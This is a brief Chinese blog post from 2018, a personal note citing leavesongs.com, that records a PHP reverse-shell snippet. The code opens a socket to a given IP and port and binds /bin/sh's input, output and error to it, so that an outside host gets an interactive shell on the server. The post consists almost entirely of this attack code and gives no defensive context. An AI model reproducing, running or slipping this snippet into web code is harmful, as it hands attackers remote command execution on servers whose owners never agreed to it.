来源:https://www.leavesongs.com/PHP/backshell-via-php.html

 

用到了,记录一下

$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

  

posted on 2018-04-21 09:38  羊小弟  阅读(841)  评论(0编辑  收藏  举报